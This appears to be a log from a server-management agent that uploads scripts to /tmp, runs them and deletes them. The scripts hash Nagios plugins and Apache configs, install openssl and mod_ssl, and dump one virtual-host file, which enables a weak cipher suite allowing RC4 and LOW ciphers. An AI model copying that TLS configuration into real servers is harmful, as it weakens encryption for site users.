                filelist = glob.glob(folder + '/check*')
                for filename in filelist:
                        generate_hash(filename, 'bin')
        return

try:
        try:
                filelist = collectCfgFiles('/usr/local/nagios/etc/nagios.cfg')
                for file in filelist:
                        generate_hash(file)

        except:
                pass

        scan_folder('/usr/local/nagios/libexec')

finally:
        gz.close();
        
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)
        

2026-03-14 12:01:41: 

chmod 755 /tmp/pkp631375; /tmp/pkp631375; rm /tmp/pkp631375

2026-03-14 12:01:42: 
(gzipped output)


bin(/usr/local/nagios/libexec/check_real)= dd4b06ffdde547e7ae66453ed8af464f
bin(/usr/local/nagios/libexec/check_ssh)= 4998ed8f57fbf48bb709a91b5f67fa88
bin(/usr/local/nagios/libexec/check_ntp_time)= cdcc9ae74ad304a1103f3b26aa2a4302
bin(/usr/local/nagios/libexec/check_dummy)= 593927625b5adf7f6cc5626cf271b00c
bin(/usr/local/nagios/libexec/check_ssmtp)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_pop)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_imap)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_wave)= 43070cb5a8919450dc9dddfaad1372c5
bin(/usr/local/nagios/libexec/check_ntp_peer)= 4561ff3ea28b2be1d51e660db0061ecb
bin(/usr/local/nagios/libexec/check_debian_packages)= c962dac5b49c230319a8f132131c5818
bin(/usr/local/nagios/libexec/check_ifstatus)= 2d1588877bbecf63a32b8450a9392703
bin(/usr/local/nagios/libexec/check_rpc)= d950b01072804e29ac7f5f081aa982db
bin(/usr/local/nagios/libexec/check_simap)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_ide_smart)= 70e1d5360c280f5a78a7eaf30fee6e43
bin(/usr/local/nagios/libexec/check_breeze)= 36e02260e64fa5199510d9dc5842d980
bin(/usr/local/nagios/libexec/check_dns)= ab42e148c68a92c9dda556789494efb6
bin(/usr/local/nagios/libexec/check_php.php)= e6599d9e81018dcef125f7d7e05beaf9
bin(/usr/local/nagios/libexec/check_ntp)= 9e7ffbfb53e8cb4f0ac3f693770675ba
bin(/usr/local/nagios/libexec/check_nagios)= 80e3c448e3c432a57b36339e22b18215
bin(/usr/local/nagios/libexec/check_overcr)= 7b207d58bc55979ba935ef83cc192e11
bin(/usr/local/nagios/libexec/check_nntp)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_spop)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_ftp)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_oracle)= 16b08209814208bb2b7c0f352e0219c8
bin(/usr/local/nagios/libexec/check_swap)= 21ddd46a28196d76075b7c635555a6cd
bin(/usr/local/nagios/libexec/check_sensors)= 7c1111569b1fbbb87ed8eb57f57c09d0
bin(/usr/local/nagios/libexec/check_jabber)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_by_ssh)= b1aa934f5258b2f1708c76a1a6e96a0b
bin(/usr/local/nagios/libexec/check_udp)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_dig)= 7b01b47a8c952d611baec6a7004cc24c
bin(/usr/local/nagios/libexec/check_http)= 053039e43a1e34634f3516be01892a42
bin(/usr/local/nagios/libexec/check_nt)= 00a2c24b1de53f52b058cc6ebf430806
bin(/usr/local/nagios/libexec/check_disk_smb)= 5261d05672787c38c34ca67a0b83edf8
bin(/usr/local/nagios/libexec/check_mrtg)= 6f4cf4f1b0f8e29f0e465fbb2506e237
bin(/usr/local/nagios/libexec/check_clamd)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_users)= b55c15f4e1aeb36f902037bfd078d1c9
bin(/usr/local/nagios/libexec/check_ircd)= 022af53fbdb44f8b8b75f2713e8aa35b
bin(/usr/local/nagios/libexec/check_procs)= a4157b7321a21494e347131fe3e78e47
bin(/usr/local/nagios/libexec/check_log)= 7a0c4828d6f7ea76d98a51def16460ee
bin(/usr/local/nagios/libexec/check_autoupdate.php)= 67b27ce05c96a1d7aeac8c220cd103d5
bin(/usr/local/nagios/libexec/check_mailq)= 078442ad36849198a80b539a65e57dc3
bin(/usr/local/nagios/libexec/check_ssl_cert.php)= a5e2b217dabfd686330a66f41b0d4d90
bin(/usr/local/nagios/libexec/check_nwstat)= 6c20e762c6d4ce49fc31b3c0ac28be9e
bin(/usr/local/nagios/libexec/check_mrtgtraf)= 64d5374a8c511c9d2a2d199960c2c6f9
bin(/usr/local/nagios/libexec/check_tcp)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_file_exists)= 499adf459b71d925c1b3a6dbb5955cf9
bin(/usr/local/nagios/libexec/check_apt)= cdf54f5ea361ff54adaa5a325bd5e583
bin(/usr/local/nagios/libexec/check_time)= 94da3767ba0be89cb015f6771899764d
bin(/usr/local/nagios/libexec/check_smtp)= d7f2d41ab34b841616e67779411cd4cd
bin(/usr/local/nagios/libexec/check_ping)= bf10c48f916f5eed0d29af7d0e9fd678
bin(/usr/local/nagios/libexec/check_flexlm)= 4e3c614a3494e4e601b0624b4bc8e462
bin(/usr/local/nagios/libexec/check_service)= 8e2475317d2e7a9c6645dba25f338011
bin(/usr/local/nagios/libexec/check_cluster)= 5eb520cefdc87566ccfc5497bb5fc45c
bin(/usr/local/nagios/libexec/check_disk)= 81a61cb2c2922be54adf5b4b15f5ab3c
bin(/usr/local/nagios/libexec/check_uptime)= affa1adb0f2b5b9c950b8582576c3da2
bin(/usr/local/nagios/libexec/check_icmp)= eb69d9de7971a87698948950a5fd8756
bin(/usr/local/nagios/libexec/check_nntps)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_load)= e9e4c57cca90e17e4aa1721c7e8e8c85
bin(/usr/local/nagios/libexec/check_ifoperstatus)= 38508203585e8cbbda9f3031a1940596
bin(/usr/local/nagios/libexec/check_ups)= 65eafce8676b5c74a336c60873a3eef3
bin(/usr/local/nagios/libexec/check_file_age)= 2e331a3782daf78c7b45d7003b6be288
bin(/usr/local/nagios/libexec/check_ssl_validity)= eeaee8f9f357138a49640d4f416530ce
bin(/usr/local/nagios/libexec/check_dhcp)= 1b5efef036053881690728bdee7c1116


2026-03-14 12:01:42: 

PUT: /tmp/pkp256445

#!/bin/bash

install=
if [ -f "/usr/bin/yum" ]; then
	if [ ! -f "/usr/bin/openssl" ]; then
		install="$install openssl"
	fi
	rpm -qi mod_ssl > /dev/null 2>&1
	retVal=$?
	if [ $retVal -ne 0 ]; then
		install="$install mod_ssl"
	fi
	if [ ! -z $install ]; then
		yum -y install $install
		systemctl restart apache2
		echo status=restarted
	else
		echo status=ok
	fi
elif [ -f "/usr/bin/apt-get" ]; then

	if [ ! -f "/usr/bin/openssl" ]; then
		apt-get update
		apt-get -y install openssl
	fi

	if [ ! -f "/etc/apache2/mods-enabled/ssl.conf" ] ; then
		a2enmod -q ssl
		systemctl restart apache2
	fi
	echo status=ok
fi



2026-03-14 12:01:42: 

chmod 755 /tmp/pkp256445; /tmp/pkp256445; rm /tmp/pkp256445

2026-03-14 12:01:42: 


status=ok


2026-03-14 12:01:42: 

PUT: /tmp/pkp827675

#!/usr/bin/python3
import os, sys, glob, hashlib, re, gzip, tempfile, codecs

jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def generate_hash_certificate(content, folder):
    file = content.split("\n")
    for v in file:
        v = v.strip()
        if v != '' and v[0] != '#':
            match = re.search('sslcertificatefile\s+(.*?)$', v, flags=re.IGNORECASE)
            if match is not None:
                filename = match.group(1)
                filename = normalize_path(folder, filename, True)
                generate_hash(filename, folder)

def normalize_path(basepath, relativepath, isFile):
    if relativepath[:1] == '/':
        return relativepath
    if isFile:
        basename = os.path.basename(relativepath)
        relativepath = os.path.dirname(relativepath)
    else:
        basename = ''

    basepath = basepath.split('/')
    relativepath = relativepath.split('/')
    for element in relativepath:
        if element == '..':
            basepath.pop()
        elif element != '.' and element != '':
            basepath.append(element)
    basepath = '/'.join(basepath)
    if basename != '':
        basepath += '/' + basename
    return basepath

def generate_hash(filename, folder):
    if os.path.islink(filename):
        target = os.readlink(filename)
        target = normalize_path(folder, target, True)
        payload = 'link(' + filename + ')= ' + target + "\n"
        gz.write(payload.encode('cp437'))
        return
    content = open(filename).read()
    filehash = hashlib.md5()
    filehash.update(content.encode('cp437'))
    payload = 'MD5(' + filename + ')= ' + filehash.hexdigest() + "\n"
    gz.write(payload.encode('cp437'))
    lower_content = content.lower()
    if lower_content.find('sslcertificatefile') > -1:
        generate_hash_certificate(content, folder)
    return

def scan_folder(folder):
    if os.path.isdir(folder):
        filelist = glob.glob(folder + '/*.conf')
        for filename in filelist:
            generate_hash(filename, folder)
    return

try:
	APACHE_ROOT = '/etc/apache2'
	scan_folder(APACHE_ROOT)
	scan_folder(APACHE_ROOT + '/conf.d')
	scan_folder(APACHE_ROOT + '/conf.modules.d')

	scan_folder(APACHE_ROOT + '/sites-available')
	scan_folder(APACHE_ROOT + '/sites-enabled')
	scan_folder(APACHE_ROOT + '/hosts.d')

finally:
    gz.close()

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-03-14 12:01:42: 

chmod 755 /tmp/pkp827675; /tmp/pkp827675; rm /tmp/pkp827675

2026-03-14 12:01:42: 
2026-03-14 12:01:42: 

PUT: /tmp/pkp884508

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-available/vela_www_work.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-03-14 12:01:42: 

chmod 755 /tmp/pkp884508; /tmp/pkp884508; rm /tmp/pkp884508

2026-03-14 12:01:42: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/vela_www_work.conf	1344

<VirtualHost *:80>
    ServerName	vela.work
    #    ServerAlias	www.vela.work
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/vela_www/public
    <Directory /var/www/vela_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/vela/www_access.log combined
    ErrorLog	/var/log/apache2/vela/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	vela.work
    #    ServerAlias	www.vela.work
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/56a76e69b767db598a27d260cea98579.crt
    DocumentRoot	/var/www/vela_www/public
    <Directory /var/www/vela_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/vela/www_secure_access.log combined
    ErrorLog	/var/log/apache2/vela/www_secure_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>







(gzipped output)


MD5(/etc/apache2/ports.conf)= e0eadfd8b9250d90d5c3004171eb78f6
MD5(/etc/apache2/apache2.conf)= 354c9e6d2b88a0a3e0548f853840674c
MD5(/etc/apache2/sites-available/myapp_ma2-mtfp_care.conf)= 7472589b546c64790d8a4a507bb8930a
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_ma1-acrp_care.conf)= 9e3b2e1ac45d4b81318b4a40ae6ed96c
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_sma1-lrygb_care.conf)= 4b1aae6f4a3a1cb5e036c51957d3b29b
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/patientapps_test_co.conf)= d4f3bdf22a365e4addd509df5175633f
MD5(/etc/ssl/certs/b4d585ce19a4f3515f777a21dc27e293)= e3698212e13c16478338dbcc4e07d4e1
MD5(/etc/apache2/sites-available/myapp_ma1-tyto_care.conf)= 534693f5753d444c162ec45272483617
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_ma1-ldhr_care.conf)= 16757e33e857ba30ce41b4901d052c88
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_ma2-lcl_care.conf)= 4a0e51e5e3ae68b52ace505e1380027e
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_sma1-lgb_care.conf)= 8225805d0ee85f394aa98eecdbd2abad
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_ma2-buni_care.conf)= 003f3de53e72662f0cb1bac459c3a717
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/001-myapp_www_care.conf)= 88ce7f2405c0946b8e4f3feb3edfb151
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/hostz_condor_org.conf)= 7fc95352b2ad760b6deff65bc4da1aba
MD5(/etc/ssl/certs/452589c154b484450eedc2df554d68f3.crt)= d2252bebb8e01b6185911a1187a828a8
MD5(/etc/apache2/sites-available/myapp_ma1-anin_care.conf)= 426de0a4ccda20e8130b6fe232ffc782
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_ma1-mvrc_care.conf)= 7b6b1066a324fcf04594b29db38a08fe
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_ma1-utfa_care.conf)= c5a11a335ab10cdad497d0b916f574be
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_d-oak_care.conf)= 05fd9880e5ae43a5c273807b07900d22
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/patientapps_athenahealth_net.conf)= 5515b3f6e3122e420097da2be941b268
MD5(/etc/ssl/certs/01745ae0ff7ef97623b09d98f99c6ad6.crt)= e728d85074cba2dc822d25f59bf3560c
MD5(/etc/apache2/sites-available/patientapps_cerner_net.conf)= 649bcc57a2c730d3643cc2199476201b
MD5(/etc/ssl/certs/9165176ee0fe7a5f957c52572458ff70.crt)= 8edb78611d9c1d7692c769368b7e2f43
MD5(/etc/apache2/sites-available/myapp_ma1-ovin_care.conf)= 5078aab525cb8b94b9d7cdf7896e57e4
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_ma1-ankp_care.conf)= 2c05ed3677f478037d6999525d7098a2
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_ma2-anfu_care.conf)= 2a3d76a9d50ffdc4c0c873dbd55d446f
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/patientapps_audio_net.conf)= 2bb0bee8eaa81c2509de421460f7342b
MD5(/etc/ssl/certs/40d152ed4fc15024fe57db1999e289aa.crt)= ab806b2d4ea12fbdc0441997829b4d72
MD5(/etc/apache2/sites-available/myapp_ma1-savr_care.conf)= 4e650585d27701dce8cfd399f0d264be
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/patientappsinc_www_com.conf)= 2efe03af392bff4ff34b03d2a9fcb1d4
MD5(/etc/ssl/certs/7CDF9F2FFCE67F19977AD2F2DDA28042.crt)= 7f49184d8593902d56db555fb7db4254
MD5(/etc/apache2/sites-available/myapp_ma2-anin_care.conf)= 2b65f594b852c813e5014e8a368d2c3c
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_ma1-chel_care.conf)= f2b806d6df70fec101fd07bad5efa7b1
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_ma1-rorp_care.conf)= f5023f5f7c06b4009eaad06e58460511
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_ma1-prls_care.conf)= b5c32ccc3600ba70c2276b6070a5f0f1
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_ma1-lsst_care.conf)= 0decb6a0dc00ef2c8f364b9f004f1ad3
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_pai-ctsr_care.conf)= a0ea9ce658c60a26441a945ec4fedbcb
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_ma1-arcr_care.conf)= 06560a2f0a5413f7d75cdff2f18ba42a
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_ma2-hamm_care.conf)= 3fced2afd73010ee57d1cdeb6cdfd82a
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_ma1-dego_care.conf)= 616c63a38f5956d2f00cfd0bf9093c3b
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_ma2-anrp_care.conf)= 35aaa8ab06a5ac762df09cb77bd9e9a8
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/patientapps_pai_net.conf)= 53fdc6b10aaeafaf1458afd6edb777dd
MD5(/etc/ssl/certs/3f85a328a3b4d0829fd0b0b311b3007b.crt)= 38a430974a8b19c93b048a234be8da12
MD5(/etc/apache2/sites-available/myapp_test_care.conf)= 4154efbd4a45d5cdc3d887b22c2c5d39
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_ma1-typa_care.conf)= 8be89f5c74e7ce2de4a662d27565335a
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_ma1-larn_care.conf)= 7bda03f83b5441843283464e9fcb0faf
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_version2_care.conf)= ff23f7a2d96d87d772f445dfadbc35ea
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/vela_www_work.conf)= 4a3d86c9924c7ded079d4f44dbc67ce7
MD5(/etc/ssl/certs/56a76e69b767db598a27d260cea98579.crt)= 1fb66150045c8d02cbd81d135e02bb9a
MD5(/etc/apache2/sites-available/myapp_ma2-anar_care.conf)= 3bd9b35cc0334d04416783b64b79b84d
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_ma2-chel_care.conf)= efb80d5fec224d615671984258e498fb
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_ma1-vasc_care.conf)= 34e2c1d81eb727d90d54fb5afa42d125
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_ma1-anfu_care.conf)= b745c696ba612a329dfbc4edf898a93b
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_ma1-asst_care.conf)= e5fa96cbd4947b9dedb8efa1ceea7249
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_ma1-mtfp_care.conf)= 37477599b957673cc4d4279b50753c12
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_pai-lc_care.conf)= b90a1a0d4be5266bf921d7647b7ebfff
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_ma2-hind_care.conf)= 0c1ebefc6c05b46eab95dd93ac47378a
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_ma2-anfr_care.conf)= 88e6b02a3c208f67ff01e9b8a76166b2
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/patientapps_shop_co.conf)= 9f3aa7a2098d3966eed689f608e572f4
MD5(/etc/ssl/certs/d18ebcef2c53b2fff4c3f6f80595db99)= 1d0a6381e5455ced32411ebe9f1a8b48
MD5(/etc/apache2/sites-available/myapp_pai-lsst_care.conf)= 1e2061bfec93e17d29d5125a418a361b
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/default-ssl.conf)= 58d23841f0ea37f6c3c1f1c7bda9c6d7
MD5(/etc/ssl/certs/ssl-cert-snakeoil.pem)= 9950eb186b95ec495ff6aedd98d4d484
MD5(/etc/apache2/sites-available/myapp_ma1-sspr_care.conf)= a23003bbe9e71b851e4e6a89a58b4819
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_ma1-fass_care.conf)= d299a5e4da71b5ad9eff39af7a264c65
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_ma1-vasr_care.conf)= b434d2e01d9387e49b2619e932405dc7
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_pai-rco_care.conf)= 269211c1701feb99a20a8c67e9540f42
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/patientappsinc_store_com.conf)= 1d8a3025bd3f4b00f12b63b873e5d7e9
MD5(/etc/ssl/certs/7CDF9F2FFCE67F19977AD2F2DDA28042.crt)= 7f49184d8593902d56db555fb7db4254
MD5(/etc/apache2/sites-available/myapp_ma2-mdfu_care.conf)= 1b08c512b82461a3dc0be39de9e9fb80
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_sma1-lsg_care.conf)= 4649593cb4ac7ab982dc0c5c9d2d5e4d
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_ma1-shem_care.conf)= 938583f4e82b2fbe8a60d24671b9eeb3
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_ma1-ropn_care.conf)= a93e624ddc0a275ad3c2ff7c0c848c38
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/000-default.conf)= 45ed6a20d7ff26b62d873585bc1b42ca
MD5(/etc/apache2/sites-available/patientapps_go_net.conf)= 546e95ee7a00039128d331094467c2cb
MD5(/etc/ssl/certs/8da89970bb61038d506425dda08af7c6.crt)= 1ee2f6edf44983b67e7ccd459d5458ce
MD5(/etc/apache2/sites-available/myapp_ma1-cybb_care.conf)= 07d445cb4f45e8e9b44b4abb4dc66dca
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_cn-dego_care.conf)= eb779095289e49c995aa6563f82ae687
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_sma1-pcnl_care.conf)= 12b1743e8772fcbaac5bf1a629f1345e
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_ma1-infp_care.conf)= 6b0f9394ecf801c495b23814f5e0f0fa
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_ma2-acrp_care.conf)= 80fd24cd0852534d517e2ba724d51bf1
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_ma1-anfr_care.conf)= 77427efebdb964e7b3164a9c802ff360
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_ma1-turp_care.conf)= 060336712fb7ee3f2edc69864acbf09b
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_ma1-tylo_care.conf)= a23abb2e317f1150b1c6c623ba29ab5c
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_ma1-pfer_care.conf)= 92ebb17024ab864649d754dd80db984d
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_pai-acrc_care.conf)= d0cd3cd7094032410b6b1a616a559e9b
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
MD5(/etc/apache2/sites-available/myapp_ma1-anrp_care.conf)= f255d57f513cabd3c577172f85ee5bb3
MD5(/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt)= 746af1ee75ab635332c49afc530a1904
